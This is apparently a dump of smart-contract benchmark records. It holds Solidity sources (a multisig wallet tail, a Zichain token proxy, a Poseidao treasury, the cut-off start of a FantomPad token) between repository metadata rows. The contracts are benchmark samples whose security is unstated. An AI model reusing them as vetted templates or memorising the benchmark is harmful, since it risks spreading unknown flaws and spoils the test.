}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// INTERNAL METHODS
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
// FIELDS
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data, address created);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
// FUNCTIONS
// TODO: document
function changeOwner(address _from, address _to) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);
function confirm(bytes32 _h) returns (bool o_success);
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).execute(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract Wallet is multisig, multiowned, daylimit {
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// METHODS
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function Wallet(address[] _owners, uint _required, uint _daylimit)
multiowned(_owners, _required) daylimit(_daylimit) {
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
// first, take the opportunity to check that we're under the daily limit.
if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
// yes - just execute the call.
address created;
if (_to == 0) {
created = create(_value, _data);
} else {
if (!_to.call.value(_value)(_data))
throw;
}
SingleTransact(msg.sender, _value, _to, _data, created);
} else {
// determine our operation hash.
o_hash = sha3(msg.data, block.number);
// store if it's new
if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
m_txs[o_hash].to = _to;
m_txs[o_hash].value = _value;
m_txs[o_hash].data = _data;
}
if (!confirm(o_hash)) {
ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
}
}
}
function create(uint _value, bytes _code) internal returns (address o_addr) {
assembly {
o_addr := create(_value, add(_code, 0x20), mload(_code))
jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {
if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {
address created;
if (m_txs[_h].to == 0) {
created = create(m_txs[_h].value, m_txs[_h].data);
} else {
if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))
throw;
}
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
| 203,290 | 11,350 |
3dd1d9184e4d981cf4fd54339b6140e9f122da5d9021f346f29fe3b3700191b0
| 12,591 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xa48778849bf4ecee7a9de39e394930787717c2b5.sol
| 3,129 | 12,216 |
pragma solidity 0.4.15;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes, address) payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function decimals() constant returns(uint8);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal {
assembly {
let returndatastart := msize()
mstore(0x40, add(returndatastart, returndatasize))
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(div(mul(gas, 63), 64), _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract Zichain is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
function transferToICAP(string _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
UpgradeCommited(latestVersion);
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
OptedIn(msg.sender, latestVersion);
return true;
}
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
}
| 161,775 | 11,351 |
3abdbc9fedec0f6e14b78698afc6c60f135fc351910ef0f44e61fe5fc46a2ae4
| 22,312 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ed/eDE05919ff5920Da3437633BAe5f68CF87152031_PoseidaoTreasury.sol
| 5,023 | 19,672 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20Mintable {
function mint(uint256 amount_) external;
function mint(address account_, uint256 ammount_) external;
}
interface IOHMERC20 {
function burnFrom(address account_, uint256 amount_) external;
}
interface IBondCalculator {
function valuation(address pair_, uint256 amount_) external view returns (uint256 _value);
}
contract PoseidaoTreasury is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event Deposit(address indexed token, uint256 amount, uint256 value);
event Withdrawal(address indexed token, uint256 amount, uint256 value);
event CreateDebt(address indexed debtor, address indexed token, uint256 amount, uint256 value);
event RepayDebt(address indexed debtor, address indexed token, uint256 amount, uint256 value);
event ReservesManaged(address indexed token, uint256 amount);
event ReservesUpdated(uint256 indexed totalReserves);
event ReservesAudited(uint256 indexed totalReserves);
event RewardsMinted(address indexed caller, address indexed recipient, uint256 amount);
event ChangeQueued(MANAGING indexed managing, address queued);
event ChangeActivated(MANAGING indexed managing, address activated, bool result);
enum MANAGING {
RESERVEDEPOSITOR,
RESERVESPENDER,
RESERVETOKEN,
RESERVEMANAGER,
LIQUIDITYDEPOSITOR,
LIQUIDITYTOKEN,
LIQUIDITYMANAGER,
DEBTOR,
REWARDMANAGER,
SOHM
}
address public immutable OHM;
uint256 public immutable blocksNeededForQueue;
address[] public reserveTokens; // Push only, beware false-positives.
mapping(address => bool) public isReserveToken;
mapping(address => uint256) public reserveTokenQueue; // Delays changes to mapping.
address[] public reserveDepositors; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isReserveDepositor;
mapping(address => uint256) public reserveDepositorQueue; // Delays changes to mapping.
address[] public reserveSpenders; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isReserveSpender;
mapping(address => uint256) public reserveSpenderQueue; // Delays changes to mapping.
address[] public liquidityTokens; // Push only, beware false-positives.
mapping(address => bool) public isLiquidityToken;
mapping(address => uint256) public LiquidityTokenQueue; // Delays changes to mapping.
address[] public liquidityDepositors; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isLiquidityDepositor;
mapping(address => uint256) public LiquidityDepositorQueue; // Delays changes to mapping.
mapping(address => address) public bondCalculator; // bond calculator for liquidity token
address[] public reserveManagers; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isReserveManager;
mapping(address => uint256) public ReserveManagerQueue; // Delays changes to mapping.
address[] public liquidityManagers; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isLiquidityManager;
mapping(address => uint256) public LiquidityManagerQueue; // Delays changes to mapping.
address[] public debtors; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isDebtor;
mapping(address => uint256) public debtorQueue; // Delays changes to mapping.
mapping(address => uint256) public debtorBalance;
address[] public rewardManagers; // Push only, beware false-positives. Only for viewing.
mapping(address => bool) public isRewardManager;
mapping(address => uint256) public rewardManagerQueue; // Delays changes to mapping.
address public sOHM;
uint256 public sOHMQueue; // Delays change to sOHM address
uint256 public totalReserves; // Risk-free value of all assets
uint256 public totalDebt;
constructor(address _OHM,
address _DAI,
address _OHMDAI,
address _bondCalculator,
uint256 _blocksNeededForQueue) {
require(_OHM != address(0));
OHM = _OHM;
isReserveDepositor[msg.sender] = true;
reserveDepositors.push(msg.sender);
isLiquidityDepositor[msg.sender] = true;
liquidityDepositors.push(msg.sender);
isReserveToken[_DAI] = true;
reserveTokens.push(_DAI);
isLiquidityToken[_OHMDAI] = true;
liquidityTokens.push(_OHMDAI);
bondCalculator[_OHMDAI] = _bondCalculator;
blocksNeededForQueue = _blocksNeededForQueue;
}
function deposit(uint256 _amount,
address _token,
uint256 _profit) external returns (uint256 send_) {
require(isReserveToken[_token] || isLiquidityToken[_token], "Not accepted");
IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
if (isReserveToken[_token]) {
require(isReserveDepositor[msg.sender], "Not approved");
} else {
require(isLiquidityDepositor[msg.sender], "Not approved");
}
uint256 value = valueOf(_token, _amount);
// mint OHM needed and store amount of rewards for distribution
send_ = value.sub(_profit);
IERC20Mintable(OHM).mint(msg.sender, send_);
totalReserves = totalReserves.add(value);
emit ReservesUpdated(totalReserves);
emit Deposit(_token, _amount, value);
}
function withdraw(uint256 _amount, address _token) external {
require(isReserveToken[_token], "Not accepted"); // Only reserves can be used for redemptions
require(isReserveSpender[msg.sender] == true, "Not approved");
uint256 value = valueOf(_token, _amount);
IOHMERC20(OHM).burnFrom(msg.sender, value);
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).safeTransfer(msg.sender, _amount);
emit Withdrawal(_token, _amount, value);
}
function incurDebt(uint256 _amount, address _token) external {
require(isDebtor[msg.sender], "Not approved");
require(isReserveToken[_token], "Not accepted");
uint256 value = valueOf(_token, _amount);
uint256 maximumDebt = IERC20(sOHM).balanceOf(msg.sender); // Can only borrow against sOHM held
uint256 availableDebt = maximumDebt.sub(debtorBalance[msg.sender]);
require(value <= availableDebt, "Exceeds debt limit");
debtorBalance[msg.sender] = debtorBalance[msg.sender].add(value);
totalDebt = totalDebt.add(value);
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).transfer(msg.sender, _amount);
emit CreateDebt(msg.sender, _token, _amount, value);
}
function repayDebtWithReserve(uint256 _amount, address _token) external {
require(isDebtor[msg.sender], "Not approved");
require(isReserveToken[_token], "Not accepted");
IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);
uint256 value = valueOf(_token, _amount);
debtorBalance[msg.sender] = debtorBalance[msg.sender].sub(value);
totalDebt = totalDebt.sub(value);
totalReserves = totalReserves.add(value);
emit ReservesUpdated(totalReserves);
emit RepayDebt(msg.sender, _token, _amount, value);
}
function repayDebtWithOHM(uint256 _amount) external {
require(isDebtor[msg.sender], "Not approved");
IOHMERC20(OHM).burnFrom(msg.sender, _amount);
debtorBalance[msg.sender] = debtorBalance[msg.sender].sub(_amount);
totalDebt = totalDebt.sub(_amount);
emit RepayDebt(msg.sender, OHM, _amount, _amount);
}
function manage(address _token, uint256 _amount) external {
if (isLiquidityToken[_token]) {
require(isLiquidityManager[msg.sender], "Not approved");
} else {
require(isReserveManager[msg.sender], "Not approved");
}
uint256 value = valueOf(_token, _amount);
require(value <= excessReserves(), "Insufficient reserves");
totalReserves = totalReserves.sub(value);
emit ReservesUpdated(totalReserves);
IERC20(_token).safeTransfer(msg.sender, _amount);
emit ReservesManaged(_token, _amount);
}
function mintRewards(address _recipient, uint256 _amount) external {
require(isRewardManager[msg.sender], "Not approved");
require(_amount <= excessReserves(), "Insufficient reserves");
IERC20Mintable(OHM).mint(_recipient, _amount);
emit RewardsMinted(msg.sender, _recipient, _amount);
}
function excessReserves() public view returns (uint256) {
return totalReserves.sub(IERC20(OHM).totalSupply().sub(totalDebt));
}
function auditReserves() external onlyManager {
uint256 reserves;
for (uint256 i = 0; i < reserveTokens.length; i++) {
reserves = reserves.add(valueOf(reserveTokens[i], IERC20(reserveTokens[i]).balanceOf(address(this))));
}
for (uint256 i = 0; i < liquidityTokens.length; i++) {
reserves = reserves.add(valueOf(liquidityTokens[i], IERC20(liquidityTokens[i]).balanceOf(address(this))));
}
totalReserves = reserves;
emit ReservesUpdated(reserves);
emit ReservesAudited(reserves);
}
function valueOf(address _token, uint256 _amount) public view returns (uint256 value_) {
if (isReserveToken[_token]) {
// convert amount to match OHM decimals
value_ = _amount.mul(10**IERC20(OHM).decimals()).div(10**IERC20(_token).decimals());
} else if (isLiquidityToken[_token]) {
value_ = IBondCalculator(bondCalculator[_token]).valuation(_token, _amount);
}
}
function config(MANAGING _managing,
address _address,
address _calculator) external onlyManager returns (bool) {
require(_address != address(0));
bool result;
if (_managing == MANAGING.RESERVEDEPOSITOR) {
// 0
if (!listContains(reserveDepositors, _address)) {
reserveDepositors.push(_address);
}
result = !isReserveDepositor[_address];
isReserveDepositor[_address] = result;
} else if (_managing == MANAGING.RESERVESPENDER) {
// 1
if (!listContains(reserveSpenders, _address)) {
reserveSpenders.push(_address);
}
result = !isReserveSpender[_address];
isReserveSpender[_address] = result;
} else if (_managing == MANAGING.RESERVETOKEN) {
// 2
if (!listContains(reserveTokens, _address)) {
reserveTokens.push(_address);
}
result = !isReserveToken[_address];
isReserveToken[_address] = result;
} else if (_managing == MANAGING.RESERVEMANAGER) {
// 3
if (!listContains(reserveManagers, _address)) {
reserveManagers.push(_address);
}
result = !isReserveManager[_address];
isReserveManager[_address] = result;
} else if (_managing == MANAGING.LIQUIDITYDEPOSITOR) {
// 4
if (!listContains(liquidityDepositors, _address)) {
liquidityDepositors.push(_address);
}
result = !isLiquidityDepositor[_address];
isLiquidityDepositor[_address] = result;
} else if (_managing == MANAGING.LIQUIDITYTOKEN) {
// 5
if (!listContains(liquidityTokens, _address)) {
liquidityTokens.push(_address);
}
result = !isLiquidityToken[_address];
isLiquidityToken[_address] = result;
bondCalculator[_address] = _calculator;
} else if (_managing == MANAGING.LIQUIDITYMANAGER) {
// 6
if (!listContains(liquidityManagers, _address)) {
liquidityManagers.push(_address);
}
result = !isLiquidityManager[_address];
isLiquidityManager[_address] = result;
} else if (_managing == MANAGING.DEBTOR) {
// 7
debtorQueue[_address] = 0;
if (!listContains(debtors, _address)) {
debtors.push(_address);
}
result = !isDebtor[_address];
isDebtor[_address] = result;
} else if (_managing == MANAGING.REWARDMANAGER) {
// 8
rewardManagerQueue[_address] = 0;
if (!listContains(rewardManagers, _address)) {
rewardManagers.push(_address);
}
result = !isRewardManager[_address];
isRewardManager[_address] = result;
} else if (_managing == MANAGING.SOHM) {
// 9
sOHM = _address;
result = true;
} else return false;
emit ChangeActivated(_managing, _address, result);
return true;
}
function listContains(address[] storage _list, address _token) internal view returns (bool) {
for (uint256 i = 0; i < _list.length; i++) {
if (_list[i] == _token) {
return true;
}
}
return false;
}
}
| 327,448 | 11,352 |
400cd5349bd7e4361c25e58feefd1a4a9f34f666c2f24ad3a54599e2c5b047f0
| 29,642 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a3/a3aEB567de1fE0F80Ff967B278576C379d0a47aE_FantomPad.sol
| 5,209 | 18,744 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
